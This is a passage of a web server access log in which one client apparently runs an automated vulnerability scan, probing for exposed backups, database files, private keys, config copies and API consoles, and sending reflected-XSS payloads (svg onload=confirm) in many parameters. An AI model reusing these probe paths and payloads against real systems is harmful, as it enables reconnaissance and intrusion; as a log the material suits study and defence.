3Csvg%2Fonload=confirm%28%27xss-tablename%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger.yml HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /production.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/debug/events/cluster HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.SAVE HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.~ HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json?FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var/jwt/private.pem HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.tar HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?subject=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-subject%27%29%3E&sticky=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-sticky%27%29%3E&ns=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-ns%27%29%3E&history=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-history%27%29%3E&category_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-category_id%27%29%3E&metakeyselect=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-metakeyselect%27%29%3E&copy=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-copy%27%29%3E&product_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-product_id%27%29%3E&status=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-status%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-cat%27%29%3E&list=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-list%27%29%3E&val=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-val%27%29%3E&what=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-what%27%29%3E&group_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-group_id%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //k.html HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger/index.html HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.gz HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/debug/events/local HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json?FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql.css HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php~ HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.tar HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?attachment=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-attachment%27%29%3E&dbname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-dbname%27%29%3E&rows=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-rows%27%29%3E&parent_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-parent_id%27%29%3E&lang=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-lang%27%29%3E&fid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-fid%27%29%3E&text=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-text%27%29%3E&link=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-link%27%29%3E&timeout=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-timeout%27%29%3E&db_name=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-db_name%27%29%3E&ids=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-ids%27%29%3E&w=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-w%27%29%3E&provider=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-provider%27%29%3E&plugin_status=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-plugin_status%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger/swagger-ui.html HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /private.pem HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/db.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //y.txt HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.lz HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/jobs HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json/FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql.js HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php-backup HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.tar HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl.txt HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/api-docs/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?sort=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-sort%27%29%3E&msg=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-msg%27%29%3E&hostname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-hostname%27%29%3E&directory=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-directory%27%29%3E&disabled=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-disabled%27%29%3E&last_name=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-last_name%27%29%3E&oauth_token=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-oauth_token%27%29%3E&first_name=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-first_name%27%29%3E&delete_widget=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-delete_widget%27%29%3E&md5=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-md5%27%29%3E&selection=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-selection%27%29%3E&filename=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-filename%27%29%3E&address=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-address%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/sqlite.db HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927576665 HTTP/1.1" -
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //T.html HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.rar HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql.min.css HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json/FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/pipelines/pipeline HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.tar HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ts.html HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.new HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl_key.txt HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/api-docs/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?ajax=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-ajax%27%29%3E&timezone_string=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-timezone_string%27%29%3E&group=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-group%27%29%3E&update=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-update%27%29%3E&revision=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-revision%27%29%3E&referer=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-referer%27%29%3E&index=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-index%27%29%3E&src=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-src%27%29%3E&end_date=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-end_date%27%29%3E&gmt_offset=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-gmt_offset%27%29%3E&params=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-params%27%29%3E&html=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-html%27%29%3E&pass=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-pass%27%29%3E&offset=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-offset%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json/FNZ.png HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql.min.js HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/pipelines/rule HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/app.db HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.tar HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.new HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php_orig HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //tr.html HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger-ui/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certificates/202.181.208.139.pfx HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?image=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-image%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-id%27%29%3E&order=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-order%27%29%3E&sid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-sid%27%29%3E&language=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-language%27%29%3E&filter=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-filter%27%29%3E&import=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-import%27%29%3E&st=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-st%27%29%3E&act=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-act%27%29%3E&object=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-object%27%29%3E&insert=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-insert%27%29%3E&task=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-task%27%29%3E&dismiss=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-dismiss%27%29%3E&orderby=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-orderby%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json/FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql.php HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/urlwhitelist/check HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/app.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.tar HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.original HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //core.html HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.xz HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?up=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-up%27%29%3E&body=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-body%27%29%3E&return=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-return%27%29%3E&end=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-end%27%29%3E&n=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-n%27%29%3E&opt=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-opt%27%29%3E&source=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-source%27%29%3E&y=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-y%27%29%3E&parent=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-parent%27%29%3E&reason=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-reason%27%29%3E&meta=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-meta%27%29%3E&pass1=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-pass1%27%29%3E&blog=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-blog%27%29%3E&plugin=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-plugin%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certificates/202.181.208.139.p12 HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger-ui/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql/finland HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/urlwhitelist/generate_regex HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/app.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.backup HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.tar HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //el.htm HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl/202.181.208.139.pem HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/apidocs/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.zip HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?option=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-option%27%29%3E&server=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-server%27%29%3E&admin=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-admin%27%29%3E&create=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-create%27%29%3E&template=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-template%27%29%3E&number=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-number%27%29%3E&lastname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-lastname%27%29%3E&multi_number=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-multi_number%27%29%3E&size=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-size%27%29%3E&tax=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tax%27%29%3E&sql=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-sql%27%29%3E&show_sticky=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-show_sticky%27%29%3E&attachments=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-attachments%27%29%3E&_method=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-_method%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/views HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.tar HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //_wpeprivate/config.json HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ie.htm HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/database.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.orig HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.z HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl/202.181.208.139_key.txt HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/apidocs/swagger.yaml HTTP/1.1" 196
